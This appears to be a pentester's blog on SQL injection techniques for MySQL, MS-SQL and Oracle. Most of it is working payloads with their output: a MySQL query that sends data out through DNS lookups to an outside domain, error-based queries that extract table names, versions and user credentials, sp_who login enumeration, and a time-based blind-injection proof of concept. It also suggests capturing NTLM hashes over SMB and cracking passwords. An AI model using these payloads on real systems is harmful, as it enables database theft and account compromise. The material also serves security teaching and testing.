www.notsosecure.com

From Pentesters To Pentesters

Exfiltrating data over DNS is nowadays a very popular technique. This technique has been well documented for MS-SQL and Oracle databases. I figured out that it is also possible to do the same under Mysql Windows installation.

Here’s how:

select load_file(concat(’\\\\foo.’,(select ‘test’),’.notsosecure.com\\’,'a.txt’));

This query will do a dns lookup for foo.test.notsosecure.com. You need FILE privileges to call load_file function. It is quite common to find mysql running as ‘root’ user under windows installation(in connection string).

You can also use the hex encoding to bypass the magic quote restriction:

mysql> select load_file(concat(0x5c5c5c5c732e,(select concat((select mid(version
(),1,12)),0x2e74657374)),
0x2e6e6f74736f7365637572652e636f6d5c5c,0x622e747874));

This resulted in the following DNS query:
05:20:36.349860 IP xxx.xxx.xxx.xxx.53298 > yyy.yyy.yyy.yyy.53: 17495 A? s.5.1.30-commu.test.notsosecure.com. (53)

The mysql version is 5.1.30-community

Now, mysql under windows runs as system(by default). If it was to run under any user account(e.g. administrator or a domian admin), then you can make it connect to your SMB server, send a pre calculated challenge(SMB challenge-response) and from the response obtained from the mysql server, you can then crack the NTLM session hash and thus obtain that user’s password.

I made a video demonstration of how to do it under ms-sql using xp_dirtree stored procedure, which i will post soon.

Enjoy..:)

This post in particular is inspired by 2 things:

1. SFX Sql injection paper: http://packetstormsecurity.nl/papers/database/SFX-SQLi-Paper-en.pdf
2. Alexander Kornbrust’s blog: www.red-database-security.com/whitepaper/oracle_sql_injection_web.html

So, here is the summary:

MS-SQL Server:

1. You can obtain useful information in error messages.
e.g. select convert(int, @@version)

2. You can use concatenation to get more then one column
e.g. select convert(int,(select top 1 name+’::’+password from users))

3. You can also return more than one row
e.g. select convert(int, (SELECT STUFF((SELECT ‘, ‘ +table_name+’::’+column_name FROM information_schema.columns FOR XML PATH(”)),1, 2, ”)AS CSV))

This will give the following error:
"Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'spt_fallback_db::xserver_name, spt_fallback_db::xdttm_ins, spt_fallback_db::xdttm_last_ins_upd, spt_fallback_db::xfallback_dbid, spt_fallback_db::name, spt_fallback_db::dbid, spt_fallback_db::status, spt_fallback_db::version, spt_fallback_dev::xserver_name, spt_fallback_dev::xdttm_ins, spt_fallback_dev::xdttm_last_ins_upd, spt_fallback_dev::xfallback_low, spt_fallback_dev::xfallback_drive, spt_fallback_dev::low, spt_fallback_dev::high, spt_fallback_dev::status, spt_fallback_dev::name, ........more data ......' to data type int."

It is important to note that the length of error messages is restricted in every database. I think under sql server 2005 it is around 2048 chars. Thus, if sending a large number of requests is an issue and for some reason, you can’t be asked to get UNION to work(e.g. too many rows) as described under the SFX white-paper, use this.

Further, the same principle also applies to Oracle database. You can return information in error messages like this:

http://vuln-host.com/vuln.php?name=1 and 1=utl_inaddr.get_host_name( (select banner from v$version where rownum=1) )–

Again, you can use concatenation function in oracle to return more then one column.

Alexander, in his blog mentioned an oracle 11g function(stragg) to get more than one row with a single query:

1=utl_inaddr.get_host_address((select sys.stragg (distinct username||chr(32)) from all_users))–

After, alex dropped an hint on how to achieve this on other oracle versions(9-11), i figured out what he meant:

SELECT SUBSTR (SYS_CONNECT_BY_PATH (banner , ','), 2) csv FROM (SELECT banner , ROW_NUMBER () OVER (ORDER BY banner ) rn, COUNT (*) OVER () cnt FROM v$version) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn + 1

Again, like MS-SQL, oracle error messages are also restricted to 512 chars only.

select utl_inaddr.get_host_address((SELECT SUBSTR (SYS_CONNECT_BY_PATH (banner ,
','), 2) csv FROM (SELECT banner , ROW_NUMBER () OVER (ORDER BY banner ) rn, C
OUNT (*) OVER () cnt FROM v$version) WHERE rn = cnt START WITH rn = 1 CONNECT BY
rn = PRIOR rn + 1)) from dual
*
ERROR at line 1:
ORA-29257: host CORE 10.2.0.1.0 Production,NLSRTL Version 10.2.0.1.0 -
Production,Oracle Database 10g Express Edition Release 10.2.0.1.0 -
Product,PL/SQL Release 10.2.0.1.0 - Production,TNS for 32-bit Windows: Version
10.2.0.1.0 - Production unknown
ORA-06512: at "SYS.UTL_INADDR", line 19
ORA-06512: at "SYS.UTL_INADDR", line 40
ORA-06512: at line 1

In SQL server 2005, if you are not ’sa’ you can’t do much. This is primarily because openrowset is by default not available unless you are privileged. Stored procedure sp_who is available for public(in mssql 2000 and 2005). This procedure “provides information about current Microsoft® SQL Server™ users and processes”.

Enumeration:

exec sp_who 'validuser';

returns no records(as you don't have privileges to see information about other users) but no errors too..:)
-------------------------
exex sp_who 'invaliduser';
returns error:
Msg 15007, Level 16, State 1, Procedure sp_who, Line 59
'invaliduser' is not a valid login or you do not have permission.

————————

Hence, you can enumerate usernames. You can also enumerate Windows users (if mixed mode authentication is enabled) like this:

exec sp_who ‘test-system\Administrator’

and also possibly the domain users, depending upon which domain users are allowed to connect(typically domain admins).

You need to know the valid machine_name/domain_name for this to work. But that’s not a problem as this can be obtained from the following:

1. IIS NTLM authentication, which discloses machine name and domain name(use hoppy).
2. This can also be obtained from terminal services dialog box.
3. This stored procedure(sp_who) itself returns the hostname.
4. There are other several ways to obtain this.

After you have enumerated users, you know what to do next. Try cracking passwords through other services e.g. RDP, SMB etc.

Through SQL Injections use this poc to enumerate logins(assuming a blind sql injection):-

http://127.0.0.1/upload/sqlinjection/?qid=1;BEGIN TRY exec sp_who 'TEST-SYSTEM\blah' END TRY BEGIN CATCH return END CATCH waitfor delay '00:00:20'--

When the username is right, it will wait for 20 seconds.

Well, so i am giving a talk at OWASP Australia in february 2009. The title of the talk is “Recent Advancements in SQL Injection Exploitation Techniques”. The talk will demonstrate a number of scenarios where this vulnerability goes undetected even by the most popular commercial scanners. A number of exploit techniques will be shown along with some “cool” stuff.